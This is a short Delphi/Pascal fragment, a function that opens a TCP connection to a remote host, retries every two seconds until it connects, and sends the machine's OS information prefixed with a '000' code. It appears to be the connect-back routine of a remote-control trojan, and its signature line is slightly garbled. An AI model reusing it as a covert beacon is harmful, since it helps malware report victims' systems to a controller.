function StartSock(Host
Ansichar;Port:Integer):boolean;
{---------------------------------------------
函数名:StartSock
作用:与远程建立连接
----------------------------------------------}
begin
Remoo:=TRUE;
WSAStartUp(MakeWord(1, 1), WSAData);
sSocket := WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
setsockopt(sSocket, SOL_SOCKET, SO_REUSEADDR, @Remoo, sizeof(Remoo));
SockAddrIn.sin_family := AF_INET;
SockAddrIn.sin_addr.s_addr:=inet_addr(Host);
SockAddrIn.sin_port := htons(Port);
while Connect(sSocket,@SockAddrIn,SizeOf(SockAddrIn))=-1 do
begin
Connect(sSocket,@SockAddrIn,SizeOf(SockAddrIn));
sleep(2000);
end;
buf:='000'+GetOsInfo();
StrCopy(buffer,PChar(buf));
Send(sSocket,buffer,length(buf),0);
recv(sSocket,buffer,SizeOf(buffer),0);
WSACleanup;
result := true;
end;